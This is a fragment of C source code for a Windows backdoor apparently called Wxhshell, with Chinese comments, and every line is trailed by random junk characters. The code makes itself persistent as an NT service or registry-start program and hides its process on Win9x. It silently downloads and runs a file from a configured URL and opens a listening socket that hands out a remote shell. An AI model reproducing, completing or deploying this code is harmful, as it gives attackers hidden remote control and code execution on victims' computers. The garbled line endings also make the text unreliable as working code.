DWORD ExitStatus; ld8 E!t[
DWORD PebBaseAddress; :DTKZ9>2D
DWORD AffinityMask; =&RpW7]
DWORD BasePriority; #T1py@b0zA
ULONG UniqueProcessId; cRPW
ULONG InheritedFromUniqueProcessId; {3F;:%$`c
} PROCESS_BASIC_INFORMATION; XdX1GH*C
9MQ!5Zn
PROCNTQSIP NtQueryInformationProcess; &~of]A
n4;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '\8gY((7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k%|7H,7
*Y"Kbn6
HANDLE hProcess; o2
PROCESS_BASIC_INFORMATION pbi; XKD0n^L[
h.PVR Awk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `)Z"||8K
if(NULL == hInst ) return 0; J jRz<T;
f%fD>a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `yYo Vu*
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U.]5UP:a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JDcc`&`M
xE.K
if (!NtQueryInformationProcess) return 0; NUBf>~_}
-j1?lY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vmq:As^a
if(!hProcess) return 0; \$GM4:R D
mw2/jA7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]X
y2km]
>yk@t&j,
CloseHandle(hProcess); to-DXT.
m)l<2`CM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B:Y"X:Y
if(hProcess==NULL) return 0; {nvF>
ctI=|K
HMODULE hMod; a;a^- n|D
char procName[255]; .SZ ZT0Z
unsigned long cbNeeded; bMe/jQuL.$
SU>2MT^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \4$V;C/n,
^n Gj 7b
CloseHandle(hProcess); KrVP#|9%"
vmEbk/Vy
if(strstr(procName,"services")) return 1; // 以服务启动 8EbJ5wu/%S
%gBulvg
return 0; // 注册表启动 :wWPEhK
} i7rO5<
>3aB{[[N
// 主模块 imb.CYS74
int StartWxhshell(LPSTR lpCmdLine) okwkMd-yW
{ vndD#/lXq
SOCKET wsl; K
qK?w*Qw
BOOL val=TRUE; @fz0-vT,
int port=0; 7 ) Q>R
struct sockaddr_in door; :Vdo.uUa
% YgGw:wZ
if(wscfg.ws_autoins) Install(); :$k];
Bs?B\k=
port=atoi(lpCmdLine); eKpWFP0
i&K-|[3{g
if(port<=0) port=wscfg.ws_port; DIAHIV<
fHFy5j0H
WSADATA data; || p>O
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ''p7!V?
prypo.RI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J}zN]|bz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \S5YS2,P
door.sin_family = AF_INET; W20qn>{z
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dd?ZQ:n
door.sin_port = htons(port); @wVq%GG}
P5?M"j0/^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B}?$kp
closesocket(wsl); 0NB5YQ8_]
return 1; S/?!ESW6
} FdwlRu G
\d:AV(u
if(listen(wsl,2) == INVALID_SOCKET) { 5xb1FH d:
closesocket(wsl); P3e}G-Oz
return 1; 2)-V\:;js
} rjaG{ i
Wxhshell(wsl); ;\mTm;]G
WSACleanup(); QV%,s!_b
vV$6fvS
return 0; n0
q$/Y.
b^s>yN
} :Vnus
@#r
.\rJ|HpZ1J
// 以NT服务方式启动 XYrZI/R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }57d3s
{ 'uBagd>*
DWORD status = 0; UL3++bt
DWORD specificError = 0xfffffff; ^U;r>[T9h
'Dx_n7&=
serviceStatus.dwServiceType = SERVICE_WIN32; e0e3b]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; b0:5i<"w6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cedH#;V!j
serviceStatus.dwWin32ExitCode = 0; +)<H,?/
serviceStatus.dwServiceSpecificExitCode = 0; BpR#3CfW
serviceStatus.dwCheckPoint = 0; w~|z0;hC
serviceStatus.dwWaitHint = 0; * .P3fVlZ
(X|`|Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S(NUuu}S
if (hServiceStatusHandle==0) return; _/pdZM,V
%YLyh?J
status = GetLastError(); u.!<)VIJx
if (status!=NO_ERROR) 8]2j*e0xV
{ ^`f( Pg!
serviceStatus.dwCurrentState = SERVICE_STOPPED; d@QC[$qXj
serviceStatus.dwCheckPoint = 0; |]=s
serviceStatus.dwWaitHint = 0; ,\CG}-v@CN
serviceStatus.dwWin32ExitCode = status; iS#m{1m$$
serviceStatus.dwServiceSpecificExitCode = specificError; l(A>Rw|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @FLa i
return; /9k}Ip
} Q<UKR|6
69C>oX
serviceStatus.dwCurrentState = SERVICE_RUNNING; -Izc-W
serviceStatus.dwCheckPoint = 0; w=}R'O;k
serviceStatus.dwWaitHint = 0; Hphfqdh0`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ks/Uyu. X
} r$/.x6g//
$hgsWa
// 处理NT服务事件,比如:启动、停止 r4wnfy
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ynx.$$`$=
{ > Du>vlTY
switch(fdwControl) &h67LMD!
{ ?]Z EK8c
case SERVICE_CONTROL_STOP: )u}My Fl.
serviceStatus.dwWin32ExitCode = 0; 8pE0ANbq
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]>"q>XgnI
serviceStatus.dwCheckPoint = 0; FZJyqqA$_
serviceStatus.dwWaitHint = 0; @;T?R
{ Ag@R 60#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xw<5VIAHm;
} h8-'I=~
return; A_}%YHb
case SERVICE_CONTROL_PAUSE: 1Yb9ILX[J
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Yd7
break; d*(wU>J '
case SERVICE_CONTROL_CONTINUE: \[ 5mBuk
serviceStatus.dwCurrentState = SERVICE_RUNNING; +/Vi"
break; [-*8S1
case SERVICE_CONTROL_INTERROGATE: K" U!SWv
break; a8[Q1Fa4|
}; g$eZT{{W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TU,k(
`tn<
} =S|^pN
Kj`sq":Je0
// 标准应用程序主函数 o7#Mr`6H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }N}\<RG
{ 8QaF(?
AXOR<Ns`
// 获取操作系统版本 @[] A&)B
OsIsNt=GetOsVer(); cc|"^-j-7
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ze>Pg.k+
'RjMwJy{
// 从命令行安装 i<]Y0_?s
if(strpbrk(lpCmdLine,"iI")) Install(); Qx% ]u8s
W;9Jah.
// 下载执行文件 %G>|u/:U
if(wscfg.ws_downexe) { k3FpD=N
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x[i Et%_
WinExec(wscfg.ws_filenam,SW_HIDE); gbc])`aJ>
} VtJy0OGcRP
T.j&UEsd
if(!OsIsNt) { g0~3;y
// 如果时win9x,隐藏进程并且设置为注册表启动 }^/;8cfLY
HideProc(); `9yR,Xk=l
StartWxhshell(lpCmdLine); Y
=BXV7\
} {x8UL7{
else K`d3p{M
if(StartFromService()) ;n-IpR#|
// 以服务方式启动 R.+yVO2
StartServiceCtrlDispatcher(DispatchTable); 9&t!U+
else $3C$])k
// 普通方式启动 /\B[lRn
StartWxhshell(lpCmdLine); /Vy8%
(KDv>@5
return 0; :i24@V~){
}